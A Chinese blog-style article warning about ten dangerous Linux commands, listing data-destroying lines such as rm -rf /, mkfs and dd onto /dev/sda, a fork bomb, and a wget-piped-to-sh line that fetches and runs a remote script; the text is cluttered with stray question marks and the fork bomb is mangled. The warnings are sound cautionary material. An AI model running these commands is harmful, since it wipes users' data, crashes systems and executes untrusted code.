亦余心之所善兮,虽九死其犹未悔。这篇文章主要讲述《永远不要在 Linux 执行的 10 个最危险的命令》相关的知识,希望能为你提供帮助。
在运行 Linux 命令时,应该三思而后行,以下命令通常需要在 root 下才能运行。
永远不要在Linux执行的10个最危险的命令[J].计算机与网络,2013,39(23):28-29.
rm -rf directory # 强制递归删除目录下的内容
?
?rm -rf /?
??:强制删除根目录下所有内容。??
?rm -rf *?
??:强制删除当前目录的所有文件。??
?rm -rf .?
?:强制删除当前文件及其子文件夹。?
?.bashrc?
?? 文件对 ??rm?
?? 命令创建??rm -i?
?? 的别名,来预防用??rm?
?命令删除文件时的事故,要求你确认每一个删除请求。:():|:& ; :
fork 炸弹实例。通过定义一个名为 ?
?:?
? 的函数,它会调用自己两次,一次在前台,一次在后台,它会反复的执行下去直到系统崩溃。command > /dev/sda
将某个命令的输出写到块设备?
?/dev/sda?
?中,该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。mv folder /dev/null
移动某个文件夹到 ?
?/dev/null?
??,在 linux 中,??/dev/null?
?? 或 ??null?
? 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。数据恢复软件仍能够挽救。wget http://malicious_source -O - | sh
上述命令会从一个恶意资源下载一个脚本并执行。
mkfs -t ext3 /dev/sda
上述命令会格式化块设备?
?sda?
?,对块设备或分区进行 mkfs 都是毁灭性的。> file
清空文件内容,数据恢复软件未必能帮到你。
^foo^bar
把上一条命令中的 foo 替换为 bar?不解…
dd if=/dev/random of=/dev/sda
向块设备写入随机的垃圾文件而擦除数据,这个命令可以彻底删除数据。
隐藏命令
有些命令可能隐藏在十六进制中,千万不要编译运行来源不明的代码。
【《永远不要在 Linux 执行的 10 个最危险的命令》】
推荐阅读
- CommandLinux 关机重启命令
- 块设备驱动程序
- ubuntu 和 Linux 内核啥关系()
- 微型计算机组成结构
- 概述
- CommandLinux 绑定 CPU 核 以及 htop 命令
- 内核模块实验奔跑吧Linux内核
- Java流处理之转换编码的转换流
- 别再说你不知道分布式事务了